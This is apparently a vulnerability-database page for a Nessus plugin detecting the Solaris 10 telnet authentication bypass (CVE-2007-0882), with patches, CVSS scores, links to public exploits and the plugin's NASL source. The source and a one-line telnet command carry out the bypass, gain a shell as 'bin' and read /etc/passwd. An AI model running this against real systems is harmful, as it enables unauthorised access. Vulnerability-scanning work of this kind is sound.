Solaris 10 Forced Login Telnet Authentication Bypass - Nessus

Critical Plugin ID: 24323

This page contains detailed information about the Solaris 10 Forced Login Telnet Authentication Bypass Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 24323
Name: Solaris 10 Forced Login Telnet Authentication Bypass
Filename: solaris10_telnet_env.nasl
Vulnerability Published: 2007-02-10
This Plugin Published: 2007-02-12
Last Modification Time: 2022-04-11
Plugin Version: 1.34
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: find_service1.nasl, openwrt_blank_telnet_password.nasl
Excluded KB Items [?]: openwrt/blank_telnet_password

Vulnerability Information

Severity: Critical
Vulnerability Published: 2007-02-10
Patch Published: 2007-02-13
CVE [?]: CVE-2007-0882
CPE [?]: cpe:/o:sun:solaris

Synopsis

It is possible to log into the remote system using telnet without supplying any credentials

Description

The remote version of telnet does not sanitize the user-supplied 'USER' environment variable. By supplying a specially malformed USER environment variable, an attacker may force the remote telnet server to believe that the user has already authenticated.

For instance, the following command :

telnet -l '-fbin' target.example.com

will result in obtaining a shell with the privileges of the 'bin' user.

Solution

Install patches 120068-02 (sparc) or 120069-02 (i386), which are available from Sun.

Filter incoming to this port or disable the telnet service and use SSH instead, or use inetadm to mitigate this problem (see the link below).

Public Exploits

Target Network Port(s): 23
Target Asset(s): Services/telnet
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Solaris 10 Forced Login Telnet Authentication Bypass vulnerability:

Metasploit: exploit/solaris/telnet/fuser
[Sun Solaris Telnet Remote Authentication Bypass Vulnerability]
Exploit-DB: exploits/solaris/remote/9918.rb
[EDB-9918: Solaris 10/11 Telnet - Remote Authentication Bypass (Metasploit)]
Exploit-DB: exploits/solaris/remote/16328.rb
[EDB-16328: Sun Solaris Telnet - Remote Authentication Bypass (Metasploit)]
Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(24323);
  script_version("1.34");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-0882");
  script_bugtraq_id(22512);

  script_name(english:"Solaris 10 Forced Login Telnet Authentication Bypass");

  script_set_attribute(attribute:"synopsis", value:
"It is possible to log into the remote system using telnet without
supplying any credentials");
  script_set_attribute(attribute:"description", value:
"The remote version of telnet does not sanitize the user-supplied
'USER' environment variable.  By supplying a specially malformed USER
environment variable, an attacker may force the remote telnet server
to believe that the user has already authenticated. 

For instance, the following command :

	telnet -l '-fbin' target.example.com 

will result in obtaining a shell with the privileges of the 'bin'
user.");
  script_set_attribute(attribute:"see_also", value:"http://lists.sans.org/pipermail/list/2007-February/025935.html");
  script_set_attribute(attribute:"see_also", value:"http://isc.sans.org/diary.html?storyid=2220");
  script_set_attribute(attribute:"solution", value:
"Install patches 120068-02 (sparc) or 120069-02 (i386),
which are available from Sun.

Filter incoming to this port or disable the telnet service 
and use SSH instead, or use inetadm to mitigate this 
problem (see the link below).");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Sun Solaris Telnet Remote Authentication Bypass Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");
  script_cwe_id(94);

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/02/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/02/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2007/02/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:sun:solaris");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2007-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("find_service1.nasl", "openwrt_blank_telnet_password.nasl");
  script_exclude_keys("openwrt/blank_telnet_password");
  script_require_ports("Services/telnet", 23);

  exit(0);
}

include("data_protection.inc");

if (get_kb_item("openwrt/blank_telnet_password")) exit(0, "Ignoring host with an unpassworded OpenWrt Telnet service.");

OPT_WILL        = 0xfb;
OPT_WONT        = 0xfc;
OPT_DO          = 0xfd;
OPT_DONT        = 0xfe;

OPT_SUBOPT      = 0xfa;
OPT_ENDSUBOPT   = 0xf0;

OPT_ENV		= 0x27;

port = get_kb_item("Services/telnet");
if(!port) port = 23;
if(!get_port_state(port))exit(0);


soc = open_sock_tcp(port);
if ( ! soc ) exit(0);

send(socket:soc, data:raw_string(0xff, OPT_WILL, OPT_ENV));

timeout = 5;

while ( TRUE )
{
 counter ++;
 if ( counter > 200 ) break;
 s = recv(socket:soc, length:1, timeout:timeout);
 timeout = 5;
 if ( strlen(s) == 0 ) break; # End of options ?
 if ( ord(s[0]) != 0xff )
	 break;

  else {
	 s = recv(socket:soc, length:2);
	 if ( strlen(s) != 2 ) break;
  	 if ( ord(s[0]) == OPT_DO && ord(s[1]) == OPT_ENV )
	 {
	  send(socket:soc, data:raw_string(0xff, OPT_SUBOPT, OPT_ENV) + raw_string(0,0) + 'USER' + raw_string(1) + '-fbin' + raw_string(0xff, OPT_ENDSUBOPT));
	 }
	 else if ( ord(s[0]) == OPT_DO && ord(s[1]) != OPT_ENV ) send(socket:soc, data:raw_string(0xff, OPT_WONT) + s[1]);
  	 else if ( ord(s[0]) == OPT_WILL ) send(socket:soc, data:raw_string(0xff, OPT_DONT) + s[1]);
 	 else if ( ord(s[0]) == OPT_SUBOPT )
	 {
	  prev = recv(socket:soc, length:1);
          counter2 = 0;
          while ( strlen(prev) && ord(prev[0]) != 0xff && ord(s[0]) != OPT_ENDSUBOPT )
           {
            prev = s;
            # No timeout - the answer is supposed to be cached
            s    = recv(socket:soc, length:1, timeout:0);
            if ( ! strlen(s) ) exit(0);
            counter2++;
            if ( counter2 >= 100 ) exit(0);
	  }
	 }
  	}
}

r = recv(socket:soc, length:4096);
send(socket:soc, data:'id\r\n');
r = recv(socket:soc, length:4096, min:4096);
if ( (uid = egrep(pattern:"uid=", string:r))  )
{
 send(socket:soc, data:'cat /etc/passwd\r\n');
 passwd = recv(socket:soc, length:65535, min:65535);
 passwd = data_protection::redact_etc_passwd(output:passwd);
 report = 'It was possible to log into the remote host as \'bin\' :\n' + uid + '\nThe file /etc/passwd contains :\n\n' + passwd;
 security_hole(port:port, extra:report);
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/solaris10_telnet_env.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\solaris10_telnet_env.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/solaris10_telnet_env.nasl

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How to Run

Here is how to run the Solaris 10 Forced Login Telnet Authentication Bypass as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Gain a shell remotely plugin family.
On the right side table select Solaris 10 Forced Login Telnet Authentication Bypass plugin ID 24323.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl solaris10_telnet_env.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a solaris10_telnet_env.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - solaris10_telnet_env.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state solaris10_telnet_env.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

22512

CWE | Common Weakness Enumeration:

CWE-94 (Weakness) Improper Control of Generation of Code ('Code Injection')

See also:

Similar and related Nessus plugins:

24343 - Solaris 10 (sparc) : 120068-03
24342 - Solaris 10 (x86) : 120069-03
10951 - Solaris cachefsd Multiple Vulnerabilities (ESCROWUPGRADE)
11841 - Solaris sadmind AUTH_SYS Credential Remote Command Execution
10659 - Solaris snmpXdmid Long Indication Event Overflow (ELVISCICADA)
11513 - Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution
10684 - Solaris rpc.yppasswdd username Remote Overflow

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file solaris10_telnet_env.nasl version 1.34. For more plugins, visit the Nessus Plugin Library.

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Solaris 10 Forced Login Telnet Authentication Bypass - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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